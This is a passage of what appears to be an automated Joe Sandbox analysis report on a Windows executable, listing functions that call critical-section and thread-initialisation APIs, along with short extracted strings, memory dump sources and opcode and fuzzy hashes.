Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

KN, xrefs: 0040132E
]DFE, xrefs: 00401320

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: KN$]DFE
API String ID: 2296764815-873640922
Opcode ID: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction ID: c7a597aca517c447b6d362385d7579deaaf1cbe7f5b4030a5a3b5ced69f100f5
Opcode Fuzzy Hash: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction Fuzzy Hash: 57210CB0F00384CAE724DF64E8467B9B760AF19308F44827AF8546B2B2D77855C2CB5D

Function 04B48677 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B49EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B49EF7
Part of subcall function 04B49EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B49F34

__Init_thread_footer.LIBCMT ref: 04B486E5

Part of subcall function 04B49EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B49EAC
Part of subcall function 04B49EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B49EDF

Strings

_DC[, xrefs: 04B4868E
CD^O, xrefs: 04B48697

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction ID: 59b5ed072ac1290d62531ff0e33a0c725a41206fa6fa83a2b2a61b0788764e82
Opcode Fuzzy Hash: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction Fuzzy Hash: 81014970F44318EBC720FF7CAD41A6E7360EB58210F9005A9D11057350DB74B585D789

Function 04B480B7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B49EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B49EF7
Part of subcall function 04B49EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B49F34

__Init_thread_footer.LIBCMT ref: 04B48125

Part of subcall function 04B49EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B49EAC
Part of subcall function 04B49EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B49EDF

Strings

_DC[, xrefs: 04B480CE
CD^O, xrefs: 04B480D7

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction ID: af046db6b11d0d4f87bf558f95e42612ec187e818f902667d21e36d5443e65c7
Opcode Fuzzy Hash: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction Fuzzy Hash: 750149B1F40208DFCB20FF78FC41A6E7360EB49200FA001A9E4195B390D73465859747

Function 04D07810 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D0787E

Strings

CD^O, xrefs: 04D07830
_DC[, xrefs: 04D07827

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction ID: 29616861664ccf82fd99b5c3f471ce708fba2fd4307b1426c64272f2ceb2adaf
Opcode Fuzzy Hash: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction Fuzzy Hash: B201F970F043549BC720EFB8AD51BAD7360EB18315F9082B9D1155B2D1EBB4B541CB99

Function 04D07250 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D072BE

Strings

CD^O, xrefs: 04D07270
_DC[, xrefs: 04D07267

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction ID: 67b41bf4fea855232aecff75476d19b09ff746544a2bb70f0378110791ebaebc
Opcode Fuzzy Hash: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction Fuzzy Hash: 5501F9B1F00248DFC720EFB8AD51B6D7360EB15304FA042A9E5195B2D0E7747541CB56

Function 00408410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040847E

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

_DC[, xrefs: 00408427
CD^O, xrefs: 00408430

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
Instruction ID: e43b8a85f3d3021ebc641e50c070c1ece00a7f90a8480fa311e7b242f9d929d7
Opcode Fuzzy Hash: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
Instruction Fuzzy Hash: A0012B70F04258CBC720EBB9AD41A5D7360A718304F50017ED51467381EB789941878D

Function 00407E50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407EBE

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

_DC[, xrefs: 00407E67
CD^O, xrefs: 00407E70

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
Instruction ID: 75c8c8ce13ad0cb5c53a0921d7a0f1eb8d827427a00a4f276ef8137bbb37e5e9
Opcode Fuzzy Hash: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
Instruction Fuzzy Hash: 5601DB71F05248CFC720EBA4ED4196A7760AB15304F90017EE51967391D6785D41874F

Function 04B47A67 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B49EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B49EF7
Part of subcall function 04B49EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B49F34

__Init_thread_footer.LIBCMT ref: 04B47AD0

Part of subcall function 04B49EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B49EAC
Part of subcall function 04B49EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B49EDF

Strings

EDO*, xrefs: 04B47A84
DCDO, xrefs: 04B47A7D

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$EDO*
API String ID: 4132704954-3480089779
Opcode ID: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction ID: ba87e77ffeec28d91f53759c86d1376a903d18f350afa9d113613f022f973f5e
Opcode Fuzzy Hash: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction Fuzzy Hash: 9701ADB0F44208DBDB20DFB4E841E4DB7B0EB54304F9045BAD80197390CA34AA06DB49

Function 04B47B77 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B49EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B49EF7
Part of subcall function 04B49EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B49F34

__Init_thread_footer.LIBCMT ref: 04B47BE0

Part of subcall function 04B49EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B49EAC
Part of subcall function 04B49EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B49EDF

Strings

^]E*, xrefs: 04B47B94
DCDO, xrefs: 04B47B8D

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$^]E*
API String ID: 4132704954-2708296792
Opcode ID: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction ID: 3b424d424484a3a275da778fe7010d69b2ac0140a9b36c828e8ef984844fc772
Opcode Fuzzy Hash: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction Fuzzy Hash: 6301A4F0F40208EBD720DFA9E882A9E77B0E784304F9041BAE81557390DA35B985DF49

Function 04D06C00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D06C69

Strings

DCDO, xrefs: 04D06C16
EDO*, xrefs: 04D06C1D

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$EDO*
API String ID: 1385522511-3480089779
Opcode ID: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction ID: b5e856f7396c3c60b266ce565ba433e5d85438ef20bebead108bd85afd4598a2
Opcode Fuzzy Hash: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction Fuzzy Hash: 0D016D74F04208DBDB20DFA4E851F5DBBB0EB14708F9081BAD915977D0DA34A902CF59

Function 04D06D10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D06D79

Strings

^]E*, xrefs: 04D06D2D
DCDO, xrefs: 04D06D26

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$^]E*
API String ID: 1385522511-2708296792
Opcode ID: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction ID: 579b023d7285c4c03fa239704512789439a77be56487fb9fb6d8defeb7330fa5
Opcode Fuzzy Hash: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction Fuzzy Hash: 1F0136B0F00208DFD720EFA8D89279D77B0E744704F9081BAE919573D0D635A985CF59

Function 00407800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407869

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

EDO*, xrefs: 0040781D
DCDO, xrefs: 00407816

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$EDO*
API String ID: 2296764815-3480089779
Opcode ID: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction ID: 2c0c492e7e72bdb30d52bd5223af33e2dc0730c32d16496d374a94bf7777f62b
Opcode Fuzzy Hash: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction Fuzzy Hash: 5B016275F08208DBDB20EFA5D842E5DB7B0AB14708F50417ED916A7791DA38AD02CF4D

Function 00407910 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407979

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

^]E*, xrefs: 0040792D
DCDO, xrefs: 00407926

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$^]E*
API String ID: 2296764815-2708296792
Opcode ID: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction ID: a49365da1333b78fae32507e70f919b170a79118b3a39b38b1efb03faeb462bb
Opcode Fuzzy Hash: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction Fuzzy Hash: 92011DB0F042089BD720EFA9E883A9DB7A0A784704F90417FE919A7391D6396D81CF4D